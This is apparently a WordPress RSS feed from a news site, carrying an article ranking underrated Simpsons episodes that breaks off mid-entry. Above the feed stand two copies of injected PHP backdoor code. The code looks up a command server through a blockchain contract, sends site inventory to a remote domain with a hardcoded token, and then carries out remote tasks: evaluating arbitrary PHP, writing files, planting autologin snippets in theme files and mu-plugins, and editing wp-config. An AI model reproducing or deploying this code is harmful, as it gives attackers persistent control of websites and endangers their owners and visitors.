// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Simpsons – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 08 Sep 2022 22:44:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Simpsons – Brief News https://briefnews.eu 32 32 The 18 Most Underrated Episodes Of The Simpsons https://briefnews.eu/the-18-most-underrated-episodes-of-the-simpsons/ https://briefnews.eu/the-18-most-underrated-episodes-of-the-simpsons/#respond Thu, 08 Sep 2022 22:44:11 +0000 https://briefnews.eu/the-18-most-underrated-episodes-of-the-simpsons/

“The Simpsons” took over the world in 1989 and never looked back, with Matt Groening and company creating season after season of amazing television filled with unforgettable jokes, brilliant characters, and a non-stop bevy of fantastic guest stars. The show kept going, and going — and it’s still going, with the 34th season set to premiere later this year.

With over 700 episodes, some say “The Simpsons” has more than overstayed its welcome. Naysayers are more than happy to point out that the show hasn’t been good for decades. I think that claim is absolute rubbish. Although “The Simpsons” is no longer in its golden age and all the writers that made the show loved the world over have long since departed, there’s still plenty to enjoy in more recent seasons.

With so many episodes, tons are bound to fly under the radar, so my mission is to take you on a journey through some of the most underrated episodes, ranging from early seasons to the most recent. So make your way down to Evergreen Terrace, take a seat on the couch, and let’s dive into the 18 most underrated episodes of “The Simpsons.”

Marge In Chains (S4, E21)

Marge Simpson is seriously overwhelmed. Taking care of one kid is no easy task, let alone three — four if you count her husband, Homer (and he often requires more attention than all three children combined). Throw in Grandpa Simpson, and things are at a fever pitch. Feeling stressed and underappreciated by her family, Marge accidentally shoplifts (the chants of “OJ, Morphine, Lobo” as Marge walks through the Kwik-E-Mart aisles are unforgettable). Before Marge is put behind bars, the episode delivers a fantastic showcase for unlucky lawyer Lionel Hutz who gives us the eternal quote “Well, replace the word ‘kinda’ with the word ‘repeatedly’ and the word ‘dog’ with ‘son.'”

“Marge in Chains” is a wonderful episode because it showcases how essential Marge is to the fabric of the family. Marge sometimes gets a bad rap and is unfairly dismissed as “just a housewife,” but her extraordinary heart and determination make her a great character and someone the entire Simpson family depends on. With Marge behind bars, they realize just how much they need her and more importantly, how much she deserves their love and respect.

Homer Badman (S6, E9)

I know what you’re thinking. How on Earth is an episode from one of “The Simpsons” most beloved seasons possibly underrated? Well, let me answer that. There are so many terrific and well-loved episodes in Season 6, including “Itchy & Scratchy Land,” “Homer the Great,” and “Homie the Clown,” that many of the episodes are bound to be left out of the conversation. Amazingly, one of those is “Homer Badman,” which features some of the most socially incisive commentary the show has ever done.

The episode opens in delightfully absurd fashion with Homer and Marge heading to a candy show. It soon becomes a searing look at sexual harassment, as Homer is accused of assaulting the babysitter, even though he was just trying to get the all-import Gummy de Milo.

“Homer Badman” never trivializes sexual harassment. Instead, it’s focused on how rumors can spread and quickly spiral out of control. Where the episode shines is in the treatment of Homer and particularly how the media sensationalizes and manipulates things. One of the funniest and most truthful scenes comes via a televised interview on “Rock Bottom” that’s been edited to the extreme. It’s ridiculous. The clock in the background bounces all over the place, and it’s all patently absurd. Like many great episodes of “The Simpsons,” it understands a deeply rooted problem in society while making you laugh til you cry.

Scenes From The Class Struggle In Springfield (S7, E14)

A broken television (courtesy of some chaos from Grandpa Simpson) leads to an incredible discovery: a beautiful Chanel suit at a discount store for a price so good, Marge simply can’t resist ($ 90 marked down from $ 2800 is, after all, a steal). Even at the incredible discount, Marge still has to be convinced by Lisa, as she’s so used to going without for the good of her family.

Little does Marge know, that the suit will change her life. She runs into an old friend from school, who invites her to visit the Springfield Country Club. It turns out that the club has something for everyone, but Marge feels overwhelmed because everyone there is a great deal wealthier than she is. It’s one of the most astute looks at class “The Simpsons” has ever done, as the episode explores the lengths Marge will go to fit in.

This is my favorite “The Simpsons” episode of all time, and the one I most regularly revisit. For my money, Marge Simpson is one of the great characters, not just on “The Simpsons” but in any medium, and “Scenes from the Class Struggle in Springfield” is the best showcase of who she is. It lacks the barrage of jokes characteristic of many episodes in the same season, but it’s got more than enough wit (the names of the country club ladies get me every time), acute observations, and brilliant character work that it more than makes up for it.

Trash Of The Titans (S9, E22)

Homer has had many, many, many jobs over the course of one billion (a slight exaggeration) Simpson episodes, but one of the most surprising roles he’s had is that of sanitation commissioner.

Watching Homer’s opponent in the fight to become sanitation commissioner is as amusing as it is depressing because the episode speaks to how elections are more of a popularity contest than an effort to make things better. Homer’s promises are grand and completely impossible to fulfill, but nobody seems to mind, and he becomes the sanitation commissioner with ease. Homer is rarely one to back down from an inane challenge, and the current commissioner tells him “nobody wants to hear the nonsensical ravings of a loudmouthed malcontent,” which spurs his election campaign. The loudest mouth does indeed win, and the town quickly plunges into trash-filled chaos — but not before a wonderful creatively choreographed musical number titled “The Garbage Man Can.”

A clever commentary on the unfairness of the political system and how easy it is to manipulate ideas and campaigns regardless of facts, the episode also boasts a wonderful cameo from U2 when Homer interrupts their concert for a speech about becoming sanitation commissioner — something all concertgoers would rather hear than the band. Hilarious, ridiculous, and riotous, “Trash of the Titans” has it all.

King Of The Hill (S9, E23)

After an incident that occurs while playing with Bart and his friends, Homer decides to make a change in his life. Tired of being overweight, Homer decides to get himself fit and change his life for good. He begins to run, only to come across a building he’s never seen before -— a gym. “A gym? What’s a gym?” (pronounced “gime”) is one of Homer’s most delightfully funny quotes. However, it becomes the beginning of something better for him. His obsession with new applesauce power bars lead to a challenge he couldn’t have foreseen: climbing the Murderhorn, Springfield’s largest mountain.

I don’t think any character has failed more consistently than Homer Simpson. Granted, he’s the family patriarch and is more or less bound to be doing more than the rest of the family as the only income earner. Still, Homer has dropped the ball time and time again. “King of the Hill” finally sees Homer going for the gold and not giving up. Okay, Homer has succeeded before, but “King of the Hill” pushes Homer’s commitment to the extreme, and watching him climb a mountain against all odds is extremely gratifying. The revelation that the protein bar Homer thinks is responsible for his physical abilities is nutritionally worthless is lovely, and knowing that Homer really did commit to something and scaled the Murderhorn is one of his finest achievements.

Mom And Pop Art (S10, E19)

After a terrific couch gag referencing “Dr. Strangelove,” Homer tasks himself with assembling a new barbecue. His failure doesn’t just lead to one of the best visual gags in the show’s history (I say “Why doesn’t mine look like that?” at every possible opportunity) it also inadvertently turns Homer into a highly-respected artist. He’s discovered by Astrid (perfectly voiced by Isabella Rosselini), who says his mangled attempt at a barbecue grill is actually “outsider art.”

“Mom and Pop Art” is a delightful send-up of the outrageous world of modern art and how fame warps people’s perceptions. The dynamic of Marge’s jealousy, who once dreamed of being an artist and studied art at every opportunity, is another fascinating element. The episode’s debates over modern art and more specifically, what constitutes the very idea of art, are as hilarious as they are earnest. If there was ever an episode of “The Simpsons” that brought to life the adage “one man’s trash, another man’s treasure,” it’s the delightful “Mom and Pop Art.”

Behind The Laughter (S11, E22)

A pitch-perfect parody of VH1’s “Behind the Music,” Season 11’s finale, “Behind the Laughter,” finds “The Simpsons” doing something completely different, turning the camera in on itself for a reflexive documentary-style episode. “Behind the Laughter” fully acknowledges the fact that “The Simpsons” is a television show, which makes for strange and extremely funny viewing. Fame has really gotten to the family, and it’s threatened to tear them apart. Lisa even hosted the Oscars, which she had no business doing. Meryl Streep even spat at her!

This bold creative endeavor dares to ask the question “What if everything you saw on “The Simpsons” actually happened?” In an ingenious moment, the episode investigates Homer jumping the gorge from Season two’s “Bart the Daredevil” and how that incident led to intense rehabilitation and subsequent addiction to painkillers, which is how he managed to continue doing so many outrageous physical stunts.

“Behind the Laughter” is a blast because it’s a unique formative exercise that does something completely different — which is saying a lot considering how often the show plays with creative formats. It’s silly and outrageous, but it’s also full of heart.  “Behind the Laughter” is an excellent critique of fame.

HOMR (S12, E9)

Why is Homer Simpson so remarkably … unintelligent? That’s a question “Simpsons” fans have been asking for some time. We finally got the answer in Season 12’s “HOMR.” Homer was quite a bright young lad, but one day he decided to shove a bunch of crayons up his nose (kids do the darndest things) and one got permanently lodged in his brain. When an X-ray reveals Homer as a crayon stuck in his brain (Dr. Hibbert had always covered that spot with his finger, you see) he gets it removed, which rapidly changes his intellect.

Suddenly, Homer has the intelligence worthy of his role as a nuclear power plant safety inspector, but more importantly, his relationship with Lisa becomes stronger than ever. It’s a treat to see them really get to know each other as they spend time at the library together and establish a deeper bond than ever before. The problem? Homer’s remarkable new intelligence causes a great deal of anger among his friends.

“HOMR” is one of the most emotional and heartwarming episodes of “The Simpsons.” I can’t help but get emotional every time Lisa reads the letter from Homer at the end of the episode. To boot, it’s also extremely funny. There are loads of terrific gags at the animation convention at the start of the episode, and having Homer see a rom-com at the cinema is hilarious.

Bye, Bye, Nerdie (S12, E16)

There’s a new girl at school, and Lisa couldn’t be more excited at the opportunity to make a new friend. It’s not something she’s been especially good at, but the arrival of Francine seems like a chance to finally get a bonafide best friend. Unfortunately for Lisa, Francine isn’t interested in being her friend. She is interested in being her enemy, though! Francine is determined to make every nerdy kid’s existence at Springfield Elementary a living hell.

